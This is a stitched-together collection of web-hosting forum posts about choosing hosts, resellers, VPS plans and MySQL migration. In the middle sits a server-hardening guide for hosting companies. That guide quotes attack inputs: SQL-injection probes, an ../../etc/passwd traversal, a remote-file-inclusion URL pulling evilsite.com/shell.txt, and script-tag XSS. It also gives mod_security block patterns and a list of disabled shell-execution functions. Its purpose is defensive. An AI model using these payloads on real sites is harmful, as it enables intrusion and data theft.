Hosting Company With Odd Database Handling Procedure
Nov 14, 2007
I created a SQL Server database that need sto be setup for the customer on their hosting account. The hosting company wanted the sql statemens, ok so I gave it to them to setup my tables and stored procedures. I also mentioned that if they gave me a username and password with database location and catalog name for the connection string and as long as I had create rights for that database I could run my own sql statements via SQL Server Enterprise Manager to set it up. They sent an excuse about how insecure that wasy and that they couldn't send any usernames or passwords for the database to me t set this up.
They also said it's becomming more common for Hosting Companies to not allow access to the databases for thatpurpose. Ok... uh how in the world do they expect to have a programmer create and run their data driven website without that information? I'm confused on what these guys are doing.
So.. is this true? Are more hosting companies hording their database infromation and customer usernames and passwords from the developers?
if i want to make image hosting such as allyoucanupload or imageshack , where hosting should i go to,... i was with hostgator and they suspended me for it.
I'm planning to launch an e-commerce website for photo and gift printing. I went on Google and found a few websites having Top 10 web hosting companies information. I am really confuse which one is the best for my website.
I'm not sure how many users and traffic the website will get and don't want to pay extra $$$s for VPS or dedicated servers
I was wondering if you guys would recommend a hosting company to use a VPS? I am a web designer and as a side job i am thinking of selling reseller accounts for very cheap prices. I am mainly concerned mainly because of the RAM most VPS have . I mean is 248 and 512 mb really ok? Also , anyone have an insight on "burst ram"? What does this mean?
I will be starting up a new hosting company that will offer free and paid hosting. My question is, should I start out with a reseller, and move on as needed? I was simply thinking of starting out with a VPS, so I could simply skip the reseller part. I read elsewhere that some simply get a reseller and get another reseller when they need it.
What path should I choose. I could always get a VPS later on, but why not get one now? This is one reason I ask, because since reading about the reseller post, I am now split on this.
To note, have used a reseller before, but not a VPS. I do want to eventually learn to run a VPS, so this could be the time to do so.
I have two hard disks, and I would like to move all of my MySQL data onto the second drive. My dilema is this; what is the best way to go about doing this? The tutorial I followed last night had me use cp to copy the /var/lib/mysql folder over to the second drive. However, it took ages to move one of my databases. It's a forum hosting database which has tons and tons of tables. It ran for about 5 hours and still didn't finish because I decided to stop it right there. I know it was working; but still, it took forever and I had to put it back up.
What would you do? Do you recommend say, copying just the 'mysql' database that has the users, and then taking a dump of all databases with mysqldump and moving it that way?
Also, is there any way using the cp command to continue what I started last night, but not write a database file if it hasn't chnaged at all?
we have about 10 servers in iweb.ca , iweb is good but account managers support are very poor ! for example when I need to upgrade my server I should contact my account manager and my account manager answer to my email after 2 weeks ! (if he answer)so I want to transfer my servers to another company ,
I've read articles that said it's generally bad to use the domain registrar as the hosting company(forgot the reason though)Right now I have some domains in Goddady and 1and1, and have a Hostgator account. I am thinking about just using Goddady's hosting service so I only need to manage my Goddady and 1and1 accounts instead of managing 3 accounts.
I am going to use Wordpress.org to build the sites
I have recently built my first database application.I used SQL Server 2005 Express edition because it is free. The drawback is that it can only hold 4GB of data. But the database is also compatible with any SQL Server edition.
I'm wondering what my options are - a lot of hosting companies seem to offer a greater storage capacity and then limit the actual size of the SQl database. i.e. 10GB of online diskspace with a 600MB SQL database.
I am in the process of creating a site for my family, which is spread out around the world. I am using Joomla and have built my site on Siteground as my host.
My site will have low traffic, for family only, but I want my family to be able to post pictures, chat and blog.
I am very happy with Siteground but it has come to my attention that even though they offer 750gb of space I can only have up to 5gb of picture files (gif, jpg, etc.) I feel that I will eventually exceed this and being new at the whole site creation, I do not want to risk data being lost (database, files, etc.) when the time comes to transfer to a new host.
The site is not active yet as I am still working out the kinks and adding more pages. I figure if I am going to make a move to another host now would be the best time.
So I guess the question I have is what hosts, in your opinions, would be the best for the site I explained and still be able to work in Joomla.
I am very interested in web hosting and domain names and i would like to run my own small business web hosting company. I don't have large knowledge in this domain, but i found some reseller company e.g Hostgator. The process is buying some spaces and i resell them.
i have website named almtechnology.com.now problem is that i have lost my hosting detail from where i have purchase.for eg i want to ask question about dns and email forwarding how i can ask my questions (submit ticket)to my hosting company how i know who is the company hosted my detail
I have an old domain thats hosted somewhere (cant remember the name of the hosting company) I need to migrate/move that domain/host across to a new server but i dont have any details of my old/current hosting
Ive done a whois on it and all its giving me for dns is ns1.chost2.com
Can you tell me which company owns the above dns or how i can find out?
-= Securing Your Hosting Company =- -- Credits: DeadlyData --
Part I. Your own websites security.
The first step you always want to take to secure your hosting company is to make sure your own website.
Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.
Next try any Get Vars in your scripts and put a ' at the end of them what I mean is you have = you add ' so it's yourwebsite.com/page?=' or any other similar thing not only page= you may also try char(39) rather then only ' most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ' but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote. If you get an error you might want to check the script.
The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.
If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)... If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use The following to browse into other places ../../../../ if they wanted to they'd view your passwd file via ../../../../../../etc/passwd
Well right now you'd say big Woop they got some users maybe not but still have the ability to go to any forum on that server and upload an avatar with PHP-EXIF data in it then include it Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all...
Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.
Ok next were going to discuss the abilities of an RFI and how to block it... So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.
Prevention add http:// to your mod security this way when they try remotely including a file in the URL [url] mod_security will block it.
Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this...
What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn't really see it... but when you clicked they could potentially grab your cookie or any current stored browser information. With this they could use your cookie as their own to login as you... maybe even get password information from this cookie...
Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as... www.mysite.com/info.php?xss=<script>src=[url] Never click it what so ever... ban the person who has sent this.
Ok now for the mod_security bans... add <script> add <body= add </script> add "> And this should fix your XSS problems that can actually cause damage...
As for SQL injection the way to block this is to... add ' or /* to the mod security be sure to add in char(39) as it's ' in php and php will in fact read it from a URL and interpret it as ' and still launch the sql injection.
One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.
Zend should fix this problem.
Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc. But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.
Part II. Your Employees
RULE-1 -PASSWORDS Do not use password even more then once on your servers if you do the first time some one gets your password to any Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company...
RULE-2 -PHONE CHATS Always request a person's information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.
RULE-3 -Email CHATS This one is a bit easier there is no emotion to what the person is trying to do... If they slip up on one peace of information be sure to email them back and ask them to correct it before even Sending any thing back or touching any thing.
RULE-4 -Talking to each other While talking to each other in public services.. or services that my be able to be taped such as an IRC... Be sure not to mention any root passwords, client names, etc...
Part III. Securing Your Server
Ok well first were going to do the obvious and CHMOD /home to 755
This is simple just go ahead and type chmod 755 /home Or CD / chmod 755 home
Next were going to make sure no user has any bash access what so ever.
This may already be setup by the current hosting control panel you are using... If not were going to nano /etc/passwd and make sure all Linux users that you don't want having bash are set to /sbin/nologin
I realize some hosting companies also do dedicated server companies so it wouldn't work out if your client didn't have bash to the server. So this is mainly based for the shared hosting servers.
Part IV. PHP Configuration.
Now were going to do some things to PHP.ini usr/local/lib/php.ini ^ On Most Systems safe_mode = On safe_mode_gid = Off open_basedir = directory [:...] safe_mode_exec_dir = directory [:...] expose_php = Off register_globals = Off display_errors =Off log_errors = On error_log = filename magic_quotes=On disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate
Some explanations of the functions your disabling.
show_source(), Disables functions most shells use to view the source of other files one commonly c99, ModfiedC99 (c100), ModfiedC99(x2300) phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don't want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to date. system, Allows Bash Commands Via PHP
shell_exec, Allows Bash Commands via PHP
exec, Allows Bash Commands Via PHP
popen, Almost like Bash not quite but close using PHP
proc_open, Almost like bash not quite but close using PHP
base64_decode, decodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security
base64_encode, encodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security
proc_terminate, Terminates Processes running on the server.
Some reasons for having magic quotes on, it disables most nullbyte attempts (%00) And will stop a small majority of SQL injections.
Part V. MySQL and Apache Configurations
Disable all out bound MYSQL connections...
Besides from Trusted Servers
This may actually be set in the host's field of the users in the actual MYSQL table, for each user account it lets you Give them an IP or type any I'd recommend giving them an IP... Although when you give them and IP don't worry it's not that you can only have one IP able to access that user you do in fact have the ability to recreate the user over and over and fill in the IP field differently each time.
Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID
A reference Document on how to do this can be found here.
[url]
Comments: What this will do with apache is pretty much make sure that the users can't access other users directories on the Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same server... this protects against it. All though apache is running under each user using SuEXEC would solve that problem.
Part VI. SSH Keys.
It's not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.
A tutorial on how to do this can be found here:
[url]
If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.
There are some references for this located here
[url]
And here
[url]
Part VII. BackDoor-Trojan-Rootkit Proctection & FireWall Setup
Down To The Back Door Protection
In the even some one gets access to your server even with all the security you've gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,
So what exactly are some things you can do to prevent this if not stop it.
Well I honestly don't think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.
But you can stop or remove them once their on your system, or prevent them from being ran.
What all can a person do just by having the ability to upload a file. Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.
At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process.
Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.
Trojans & Viruses on Linux aren't too much of a worry as there aren't too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system.
Now a couple things I've researched on that can help prevent this.
--- Root Kit Hunter. --- Description:
Root kit scanner is scanning tool to ensure you for about 99.9%* you're clean of nasty tools. This tool scans for Root kits, backdoors and local exploits by running tests like:
- MD5 hash compare - Look for default files used by root kits
- Wrong file permissions for binaries - Look for suspected strings in LKM and KLD modules - Look for hidden files - Optional scan within plaintext and binary files
* Command-line scanner * Fast, multi-threaded daemon with support for on-access scanning * milter interface for sendmail * advanced database updater with support for scripted updates and digital signatures * virus scanner C library * on-access scanning (Linux and FreeBSD) * virus database updated multiple times per day (see home page for total number of signatures) * built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM, BinHex, SIS and others * built-in support for almost all mail file formats * built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack, wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others * built-in support for popular document formats including MS Office and Mac Office files, HTML, RTF and PDF ------- Comments: Honestly I'd recommend this even when using Mod-Security I've built shells that will in fact bypass modsecurity well this well scan the source codes of the PHP shell and make sure there�s nothing that could potentially harm or allow the user to have to much access over the system.
--- Download --- [url] --
Banning The Brute Forcers, FTP, SSH, etc. --- APF (Advanced Policy Firewall) ---
Description:
Rather then grabbing this one off their site I figured I'd write one.
Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.
Allows alot of configuration options some of which may also benfit in bandwidth saving and DDoS prevention, Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems. Then this will block it from connecting back to them and them connecting back to it. --- Comments: I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward. To make sure every one has the ability to get into their teamspeaks,
Some commands that can be used with this Firewall just incase you decide to use it.
Banning an IP apf -d IP
Unbanning an IP apf -u IP
I recommend ignoring your own IP in the
/etc/apf/allow_hosts.rules
Using the following syntax you can ignore your IP from all firewall rules meaning you don't follow them.
d=PORT:d=IP // ENABLES YOUR IP COMMING IN ON THE PORT out:d=PORT:d=IP // ENABLES YOUR IP GOING OUT ON THE PORT
For ranges you may do the following 192.168.1.1/255
It will then forward from 192.168.1.1 to 192.168.1.255 to be enabled
--- Download --- [url]
Part VIII. DDoS Protection and Saving Bandwith + Remote Loging. ---
Server Monitoring Remotely --- Log Watch --- Description:
An application that runs twenty-four seven on your server and sends the following things after going through them to your email. -Apache_Access Logs
Comments: This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc. The only main requirement is that you have SendMail Running.
Mail Spam Protection ---
Spam Assassin ---
Description:
The core distribution consists of command line tools to perform filtering along with Mail:pamAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.
Comments: Never used it my self because I've never really had to bad of mail spam problems on my server but from what I've read it is in fact pretty good at filtering out the spam in your emails.
--- Download --- [url]
--- Some Extra Mail Protection
--- Be sure that your mail-server only allows your Server to use it or any other servers you may trust and deny all others many people will attempt to use open mail servers and spam resources.
--- DDoS Protection & Bandwidth Saving.
--- Ok first off some things people might do while DDoSing you.
Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port in most cases their target would be Apache, but in other cases maybe even a teamspeak it's a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF
But a basic thing you can do is have APF installed drop all ICMP packets. This will disable the ability to ping your server. Next Install DDoS Deflate
--- DDoS Deflate --- Comments/Description: From my own experience an well written Perl Script that was made to run along with APF and monitor how many times an IP is connected to your server before it bans it you may also run it manually typing the following in shell.
ddos Number Of Connections Allowed
When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.
--- More Information can be found on this at
[url]
---- Download ---- [url]
Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers it's called mod_evasive It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.
--- mod_evasive
---
Detailed Description: mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.
Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following: * Requesting the same page more than a few times per second * Making more than 50 concurrent requests on the same child per second * Making any requests while temporarily blacklisted (on a blocking list)
This method has worked well in both single-server script attacks as well as distributed attacks, but just like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it's a good idea to integrate this with your firewalls and routers for maximum protection.
This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on 'reload' should not be affected Unless they do it maliciously. mod_evasive is fully tweak able through the Apache configuration file, easy to Incorporate into your web server, and easy to use.
--- Comments: This is a module I have in fact used with Apache before it honestly can get annoying if you configure it incorrectly
because you will be simply visiting the website and get banned.
I have a client who will be pointing their domain to my reseller server. I have already setup the account on my server and made the appropriate DNS changes with their domain registrar - so the domain should be pointing to my server soon.
However, what is the normal procedure for migrating email accounts, without loosing mail?
When should they change email account settings?
Should they use their current settings until they get an error, or no longer receive mail, then change settings to match my server?
My boss has recently asked me to source a new host for our servers. At the moment we're running 8 Windows boxes but are unhappy with the service we're receiving from our hosting company. We are looking for a managed hosting company, that has offices in the UK and US to look after the servers.
At the moment we haven't nailed down our exact requirements so I'm just really looking for any recommendations you guys might have. I've done a wee bit of Googling and have found a company called Rackspace but I'm ideally looking to contact around 5 companies to see who can offer us the best deal.
I'm looking for a dedicated hosting server to store more than 800GB in video. This video will not be played back, this place is just to store and where people can download.
As far as I can tell my only solutions is dedicated, but if anyone can offer me a better solution please let me know. Before I had this videos on different servers but the company does not allow me to keep them for storage.
I need to know the top 3 hosting companies in the US, and why you like them.
I like aplus.net but after doing some research I found out that this company is a nightmare.
Please, I need help really fast! Thank you all in advanced for your suggestions.
Let's say, I want to setup a hosting company in 3 different location (US, EU, ASIA) and I want to host 3 different servers on each datacenter. They will not be cluster. Customers will have an option to chose their datacenter location on the ordering page. But I want to use only one IP block /24 for all 3 different location.
I currently own my own hosting company using another companies servers, which is good, and I've learned a lot of the ins and outs of hosting, but there's a great deal I need to learn before I start Hosting using my own servers. Can anyone provide some good resources or books that might help me get on with my mission?
ThisWebHost has a price plan suitable for any hosting need (I saved over 50% from what I was paying previously, because the other pricing plan was richer than what I needed).
ThisWebHost only charges $1 per month for a dedicated IP address and has superior customer service (very timeline response once you open a ticket) and is also accessible on Twitter. Added bonus is that their CS is located in the US and they speak English.
Another huge perk was that they transferred my site for free.
if I should get my domain separately from my hosting company. I'm going to buy a host gator hosting plan and I don't know if I should get my domain from them too? They charge $15/year for domains. My only problem is that if I have to leave from host gator in less than a year for some reason, will I be able to go to another hosting company and have the same domain name as I had with host gator?
If your about to start up your own hosting company i would reccomend JustGotVPS.com there staff are VERY helpfull and quick support staff times. Cheap VPS's that are genuin i am currently running one of there top end ones with Cpanel with no problem. I would like to point out i have nothing to do with JustGotVPs.com i am writing this because of there great service and Admin support. I reccomend if your on a reseller to get one of these VPS's.
